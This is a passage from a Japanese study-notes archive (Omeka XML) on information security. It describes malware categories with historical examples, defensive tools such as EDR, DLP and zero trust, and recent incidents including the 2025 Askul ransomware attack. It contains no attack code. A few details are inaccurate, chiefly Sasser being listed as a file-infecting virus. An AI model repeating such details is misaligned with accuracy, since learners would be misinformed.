&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: キー入力や画面表示を記録するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: キーボード入力や画面表示を監視・記録し、パスワードや機密情報を盗むマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ardamax Keylogger&lt;/strong&gt;: 商用キーロガーソフトとして販売されていたが、犯罪に悪用された。キーボード入力を記録し、パスワードやクレジットカード情報を盗み取る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BlackShades&lt;/strong&gt;: 前述のRATでもあるが、キーログとスクリーンショットの取得機能を持つ。感染したシステムの完全な制御が可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ネットカフェ事件（日本）&lt;/strong&gt;: ネットカフェの店員が店のPCにキーロガーを仕込み、顧客のIDや暗証番号を盗み取った事件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: キーボード入力や画面表示を監視・記録し、収集した情報を外部に送信&lt;/p&gt;
&lt;h3&gt;ルートキット&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: システムに隠れて存在するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: システムの深いレベルに隠れて、検出を回避しながら他のマルウェアを保護するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Stuxnet（2010年）&lt;/strong&gt;: イランの核施設を標的とした高度なルートキット。ウラン濃縮用の遠心分離機を物理的に破壊することを目的として開発された。Windowsのゼロデイ脆弱性を4つ使用し、通常のセキュリティソフトでは検出できない高度な技術を使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TDL-4&lt;/strong&gt;: ブートセクターに感染するルートキット。MBR（マスターブートレコード）を改ざんし、OS起動前にロードされるため検出が困難。最大で450万台のPCが感染したと推定（2011年時点）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flame&lt;/strong&gt;: 中東地域を標的としたスパイウェア型ルートキット。音声録音、スクリーンショット取得、ネットワークトラフィックの監視などの機能を持つ。Stuxnetと同様に国家レベルの攻撃とされる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: システムの深いレベル（カーネル、ブートセクター等）に潜伏し、他のマルウェアの存在を隠蔽しながら検出を回避&lt;/p&gt;
&lt;h3&gt;ランサムウェア&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: ファイルを暗号化して身代金を要求するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: ファイルを暗号化し、復号化のための身代金を要求するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WannaCry（2017年）&lt;/strong&gt;: WindowsのSMB脆弱性を利用して世界中に拡散（ワーム型ランサムウェア、ワームの項も参照）。150カ国以上で20万台以上のPCが感染し、病院、企業、政府機関が被害を受けた。身代金としてビットコインでの支払いを要求。英国のNHS（国民保健サービス）が特に大きな被害を受けた&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ryuk&lt;/strong&gt;: 主に企業を標的としたランサムウェア。高額な身代金（数百万円〜数億円）を要求し、多くの大企業が被害を受けた。日本でも複数の企業が被害を受けている&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NotPetya（2017年）&lt;/strong&gt;: ウクライナの会計ソフトの更新を悪用して拡散。ランサムウェアとして動作するが、実際にはデータの復旧は不可能で、破壊を目的としたマルウェア。世界的な物流企業Maerskが被害を受け、推定被害額は3億ドル（Maerskの公式発表）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: システムに侵入後、ファイルを暗号化し、復号キーと引き換えに金銭を要求するメッセージを表示&lt;/p&gt;
&lt;h3&gt;マイニングマルウェア&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 仮想通貨のマイニングにシステムリソースを悪用するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: 感染したシステムのCPU/GPUリソースを使用して仮想通貨をマイニングするマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Coinhive&lt;/strong&gt;: ブラウザでMoneroをマイニングするJavaScriptコード。ウェブサイトに埋め込まれ、訪問者のCPUリソースを使用してマイニングを実行。2019年にサービス終了&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CryptoLoot&lt;/strong&gt;: Coinhiveの代替として登場したマイニングマルウェア。同様にブラウザでマイニングを実行し、ユーザーのCPUリソースを悪用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smominru&lt;/strong&gt;: 企業サーバーを標的としたマイニングマルウェア。感染したサーバーのリソースを使用してMoneroをマイニングし、推定被害額は200万ドル以上&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: 感染したシステムのCPU/GPUリソースを使用して仮想通貨をマイニングし、攻撃者のウォレットに送金&lt;/p&gt;
&lt;h3&gt;ファイルレスマルウェア&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: ファイルシステムに痕跡を残さないマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: メモリ内でのみ動作し、ディスクにファイルを保存しないため検出が困難なマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PowerShell Empire&lt;/strong&gt;: PowerShellを使用したファイルレス攻撃ツール。メモリ内でのみ動作し、従来のアンチウイルスソフトでは検出が困難&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cobalt Strike&lt;/strong&gt;: ペネトレーションテストツールとして開発されたが、攻撃者に悪用されることが多い。メモリ内でのみ動作する高度な機能を提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kovter&lt;/strong&gt;: ファイルレスマルウェアとして動作し、レジストリにコードを隠して実行。従来のファイルベースの検出を回避&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: メモリ内でのみ動作し、ディスクにファイルを保存しないため、従来のファイルベースの検出手法では検出が困難&lt;/p&gt;
&lt;h3&gt;インターネットサービスの攻撃&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: オンラインサービスを標的とした攻撃&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: Webサービス、データベース、ネットワークインフラを標的とした攻撃&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DDoS攻撃&lt;/strong&gt;: 2016年のDyn社への攻撃では、Miraiボットネットを使用してDNSサービスを攻撃し、Twitter、Netflix、Amazon等の主要サイトが一時的にアクセス不能になった&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQLインジェクション&lt;/strong&gt;: 2011年のSony PlayStation Networkへの攻撃では、SQLインジェクションを利用して7,700万人の個人情報が漏洩した&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Heartbleed&lt;/strong&gt;: 2014年に発見されたOpenSSLの脆弱性。多くのウェブサイトが影響を受け、暗号化された通信の内容が盗み取られる可能性があった&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: Webアプリケーションの脆弱性を悪用し、データベースへの不正アクセス、サービス停止、情報漏洩などを引き起こす&lt;/p&gt;
&lt;h2&gt;ウイルスの感染型分類&lt;/h2&gt;
&lt;h3&gt;ファイル感染型&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 実行ファイルに寄生するウイルス&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CIH/Chernobyl&lt;/strong&gt;: 実行ファイルに感染し、ハードディスクのデータを破壊。4月26日に発動し、BIOSを破壊する機能も持っていた&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sasser&lt;/strong&gt;: WindowsのLSASSサービスを標的としたワーム。実行ファイルに感染し、システムを再起動させる&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;マクロ感染型&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 文書ファイルのマクロに感染するウイルス&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Melissa&lt;/strong&gt;: Word文書のマクロとして動作し、感染した文書をメールで自動送信。初回感染から数時間で数万件のメールが送信された&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concept&lt;/strong&gt;: 最初のマクロウイルスとして知られる。Word文書に感染し、他の文書に拡散する&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;システム感染型&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: システムの重要な部分に感染するウイルス&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Stoned&lt;/strong&gt;: ブートセクターに感染するウイルス。システム起動時にメモリにロードされ、他のフロッピーディスクに感染を広げる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Brain&lt;/strong&gt;: 最初のPCウイルスとして知られる。ブートセクターに感染し、フロッピーディスクのラベルを「(c) Brain」に変更&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;インフォステーラー&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定義&lt;/strong&gt;: 情報を盗み出すマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;詳細説明&lt;/strong&gt;: システムから機密情報や個人情報を収集・送信するマルウェア&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;実際の事例&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;銀行口座情報&lt;/strong&gt;: Zeus、TrickBot等のマルウェアが銀行のログインページに偽のフィールドを挿入し、認証情報を盗み取る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クレジットカード情報&lt;/strong&gt;: オンラインショッピングサイトに偽の決済ページを挿入し、クレジットカード情報を盗み取る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;個人データ&lt;/strong&gt;: 企業の顧客データベースを標的とした攻撃で、数百万件の個人情報が漏洩する事件が発生&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;動作メカニズム&lt;/strong&gt;: システムに侵入後、機密情報を特定し、外部のサーバーに送信&lt;/p&gt;
&lt;h2&gt;アンチウイルスソフトウェアとその他の対策&lt;/h2&gt;
&lt;h3&gt;アンチウイルスソフトの基本機能&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;ウイルスの検知と駆除&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;シグネチャベース検出：既知のマルウェアの特徴をデータベースと照合&lt;/li&gt;
&lt;li&gt;ヒューリスティック検出：未知のマルウェアを行動パターンで検出&lt;/li&gt;
&lt;li&gt;サンドボックス検出：隔離環境でファイルを実行して動作を分析&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;リアルタイム監視&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ファイルアクセス監視：ファイルの読み書きを監視&lt;/li&gt;
&lt;li&gt;メモリ監視：実行中のプロセスの動作を監視&lt;/li&gt;
&lt;li&gt;ネットワーク監視：通信内容を監視&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;危険判定と警告&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;脅威レベル分類：低・中・高・クリティカルの4段階&lt;/li&gt;
&lt;li&gt;自動隔離：危険なファイルを自動的に隔離&lt;/li&gt;
&lt;li&gt;ユーザー通知：検出時にポップアップで警告表示&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Webサイト&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Webフィルタリング：悪意のあるサイトへのアクセスをブロック&lt;/li&gt;
&lt;li&gt;SSL/TLS証明書検証：偽の証明書を検出&lt;/li&gt;
&lt;li&gt;フィッシングサイト検出：偽のログインページを識別&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Wi-Fi&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;暗号化通信の強制：WPA3などの強固な暗号化の使用&lt;/li&gt;
&lt;li&gt;不正アクセスポイント検出：偽のWi-Fiアクセスポイントを検出&lt;/li&gt;
&lt;li&gt;VPN接続の推奨：公共Wi-Fiでの通信を暗号化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;アプリ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アプリストア検証：公式ストア以外からのアプリを警告&lt;/li&gt;
&lt;li&gt;権限監視：過度な権限要求を検出&lt;/li&gt;
&lt;li&gt;アプリ動作監視：不審な動作を検出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;パスワード管理&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;パスワード強度チェック：弱いパスワードを検出&lt;/li&gt;
&lt;li&gt;パスワードマネージャー：安全なパスワード生成・保存&lt;/li&gt;
&lt;li&gt;多要素認証：2FA/MFAの推奨&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;バックアップ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自動バックアップ：定期的なデータバックアップ&lt;/li&gt;
&lt;li&gt;暗号化バックアップ：バックアップデータの暗号化&lt;/li&gt;
&lt;li&gt;復旧テスト：バックアップからの復旧手順の確認&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;リアルタイムスキャンとオンデマンドスキャン&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;リアルタイムスキャン&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;常時監視：ファイルアクセス時に即座にスキャン&lt;/li&gt;
&lt;li&gt;システムリソース使用：CPU・メモリを常時使用&lt;/li&gt;
&lt;li&gt;即座の検出：マルウェアを実行前に検出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;オンデマンドスキャン&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;手動実行：ユーザーが指定したタイミングでスキャン&lt;/li&gt;
&lt;li&gt;深い分析：より詳細な検出アルゴリズムを使用&lt;/li&gt;
&lt;li&gt;システムリソース節約：必要な時のみリソースを使用&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ファイアウォール&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;パーソナルファイアウォール&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;アプリケーション制御：各アプリの通信を個別に制御&lt;/li&gt;
&lt;li&gt;ポート監視：特定のポートの通信を監視&lt;/li&gt;
&lt;li&gt;侵入検知：不正なアクセス試行を検出&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;企業ファイアウォール&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ネットワーク境界防御：内部ネットワークと外部を分離&lt;/li&gt;
&lt;li&gt;トラフィックフィルタリング：許可された通信のみ通過&lt;/li&gt;
&lt;li&gt;VPN接続管理：リモートアクセスの制御&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;セキュリティパッチの適用&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;オペレーティングシステム&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows Update：Microsoftの月次セキュリティ更新&lt;/li&gt;
&lt;li&gt;macOS更新：Appleの定期的なセキュリティ修正&lt;/li&gt;
&lt;li&gt;Linux更新：各ディストリビューションのセキュリティパッチ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;アプリケーション&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自動更新：アプリの自動セキュリティ更新&lt;/li&gt;
&lt;li&gt;脆弱性管理：既知の脆弱性の修正状況管理&lt;/li&gt;
&lt;li&gt;サポート終了管理：サポート終了ソフトウェアの特定&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ユーザー教育&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;セキュリティ意識向上&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;フィッシング訓練：偽メールの識別訓練&lt;/li&gt;
&lt;li&gt;パスワード教育：強固なパスワードの作成方法&lt;/li&gt;
&lt;li&gt;ソーシャルエンジニアリング対策：心理的攻撃への対処&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;インシデント対応&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;報告手順：セキュリティインシデントの報告方法&lt;/li&gt;
&lt;li&gt;初期対応：感染時の初期対応手順&lt;/li&gt;
&lt;li&gt;復旧手順：システム復旧の手順&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;マルウェア検出ツールの使用&lt;/h2&gt;
&lt;h3&gt;DLP（Data Loss Prevention）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;機密情報の漏洩を防ぐ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;データ分類：機密レベルに応じたデータの分類&lt;/li&gt;
&lt;li&gt;アクセス制御：権限に応じたデータアクセス制限&lt;/li&gt;
&lt;li&gt;暗号化：機密データの自動暗号化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;データの流れを監視&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ネットワーク監視：データの送受信を監視&lt;/li&gt;
&lt;li&gt;メール監視：機密情報を含むメールの検出&lt;/li&gt;
&lt;li&gt;クラウド監視：クラウドサービスへのデータアップロード監視&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;パソコンのUSBのデータの書き込みの制限&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;USBデバイス制御：USBメモリの使用制限&lt;/li&gt;
&lt;li&gt;デバイス認証：許可されたデバイスのみ使用可能&lt;/li&gt;
&lt;li&gt;ログ記録：USB使用履歴の記録&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;EDR（Endpoint Detection and Response）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;エンドポイントでの挙動を検知&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;行動分析：正常な動作パターンからの逸脱を検出&lt;/li&gt;
&lt;li&gt;プロセス監視：実行中のプロセスの動作を監視&lt;/li&gt;
&lt;li&gt;ファイル監視：ファイルシステムの変更を監視&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;隔離や駆除&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;自動隔離：感染端末の自動ネットワーク分離&lt;/li&gt;
&lt;li&gt;プロセス終了：悪意のあるプロセスの強制終了&lt;/li&gt;
&lt;li&gt;ファイル削除：感染ファイルの安全な削除&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ログがサーバーにアップロードされて、不審な動きがあった場合は停止する&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;中央集約：全端末のログを中央サーバーに集約&lt;/li&gt;
&lt;li&gt;相関分析：複数端末の動作を相関分析&lt;/li&gt;
&lt;li&gt;自動対応：不審な動作の自動検出・対応&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;デバイス検証（Device Inspection）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;社外にあるパソコンを使いたいときにはパソコンの中を全て調べて安全を確認してから使えるようになる&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;デバイス認証：社外デバイスの事前認証&lt;/li&gt;
&lt;li&gt;セキュリティスキャン：デバイスの完全なセキュリティチェック&lt;/li&gt;
&lt;li&gt;コンプライアンス確認：セキュリティポリシー準拠の確認&lt;/li&gt;
&lt;li&gt;一時アクセス：認証後の一時的なアクセス許可&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ゼロトラスト（Zero Trust）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;全ては信用しないという考え方で全てのものに対策や検知を行う&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;継続的検証：常にユーザー・デバイス・ネットワークを検証&lt;/li&gt;
&lt;li&gt;最小権限の原則：必要最小限の権限のみ付与&lt;/li&gt;
&lt;li&gt;マイクロセグメンテーション：ネットワークの細分化&lt;/li&gt;
&lt;li&gt;多要素認証：複数の認証要素の組み合わせ&lt;/li&gt;
&lt;li&gt;暗号化通信：全ての通信の暗号化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;多層防御が必要&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;防御の重ね合わせ&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ネットワーク層：ファイアウォール、IPS/IDS&lt;/li&gt;
&lt;li&gt;エンドポイント層：アンチウイルス、EDR&lt;/li&gt;
&lt;li&gt;アプリケーション層：WAF、アプリケーションセキュリティ&lt;/li&gt;
&lt;li&gt;データ層：暗号化、DLP&lt;/li&gt;
&lt;li&gt;ユーザー層：教育、認証&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;冗長性の確保&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;複数の検出手法：シグネチャ、ヒューリスティック、行動分析&lt;/li&gt;
&lt;li&gt;複数の対応手段：自動対応、手動対応、外部連携&lt;/li&gt;
&lt;li&gt;継続的改善：脅威情報の更新、防御手法の進化&lt;/li&gt;
&lt;/ul&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1870">
                <text>情報セキュリテイ７</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1871">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1872">
                <text>2025-10-30</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1873">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="114" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1869">
              <text>&lt;h1&gt;情報セキュリティ事件・障害事例と対策技術&lt;/h1&gt;
&lt;h3&gt;目次&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#section1"&gt;1. サイバー攻撃・障害事例&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#section2"&gt;2. セキュリティ技術と対策&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#section3"&gt;3. 総括と教訓&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. サイバー攻撃・障害事例&lt;/h2&gt;
&lt;h3&gt;1.1 アスクル ランサムウェア攻撃事件&lt;/h3&gt;
&lt;h4&gt;事件概要&lt;/h4&gt;
&lt;p&gt;2025年10月19日、アスクル株式会社がランサムウェア攻撃を受け、基幹システムが暗号化され、受注・出荷業務が全面的に停止する事態が発生しました。この攻撃は、アスクルが物流業務を委託している複数の企業にも波及し、サプライチェーン全体に深刻な影響を与えました。&lt;/p&gt;
&lt;h4&gt;詳細情報&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;発生日時&lt;/strong&gt;: 2025年10月19日&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃手法&lt;/strong&gt;: Qilin（キリン）ランサムウェアによる二重脅迫（データ暗号化＋情報流出脅迫）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;被害内容&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;基幹システムの暗号化&lt;/li&gt;
&lt;li&gt;受注・出荷業務の全面停止&lt;/li&gt;
&lt;li&gt;個人情報・顧客データの流出可能性&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響範囲&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;無印良品（良品計画）: ネットストアとMUJIアプリの全サービス停止&lt;/li&gt;
&lt;li&gt;ロフト: ネットストアの一部サービス停止&lt;/li&gt;
&lt;li&gt;そごう・西武: 一部商品の出荷遅延&lt;/li&gt;
&lt;li&gt;医療機関: 関連サービスの影響&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教訓&lt;/strong&gt;: サプライチェーン全体のセキュリティ対策が必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 AWS サーバー障害事件&lt;/h3&gt;
&lt;h4&gt;障害概要&lt;/h4&gt;
&lt;p&gt;2025年4月15日、Amazon Web Services（AWS）の東京リージョンで大規模な障害が発生しました。アベイラビリティゾーン（AZ）の一つで主電源と二次電源の両方が遮断される停電が発生し、多数のクラウドサービスに影響が及んだ重要な事例です。&lt;/p&gt;
&lt;h4&gt;詳細情報&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;発生日時&lt;/strong&gt;: 2025年4月15日&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;障害原因&lt;/strong&gt;: 東京リージョンAZ4での主電源と二次電源の両方が遮断される停電&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;復旧時間&lt;/strong&gt;: 約30分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響範囲&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;プロジェクトセカイ カラフルステージ！ feat. 初音ミク: 通信エラーによる緊急メンテナンス&lt;/li&gt;
&lt;li&gt;PayPay: 一時的な決済サービス不具合&lt;/li&gt;
&lt;li&gt;au PAY: 決済機能の一時停止&lt;/li&gt;
&lt;li&gt;DirectCloud: 全文検索・ログデータ取得の支障&lt;/li&gt;
&lt;li&gt;その他多数のAWS依存サービス&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;教訓&lt;/strong&gt;: マルチAZ構成、マルチクラウド戦略の重要性&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. セキュリティ技術と対策&lt;/h2&gt;
&lt;h3&gt;2.1 ファイアウォール技術&lt;/h3&gt;
&lt;h4&gt;ファイアウォールとは&lt;/h4&gt;
&lt;p&gt;ファイアウォールは、ネットワークの境界で通信を監視・制御し、不正なアクセスや攻撃から内部ネットワークを保護するセキュリティ機器です。パケットの内容や通信の状態を分析して、許可された通信のみを通過させ、危険な通信を遮断します。&lt;/p&gt;
&lt;h4&gt;基本機能と実装方法&lt;/h4&gt;
&lt;h4&gt;パケットフィルタリング&lt;/h4&gt;
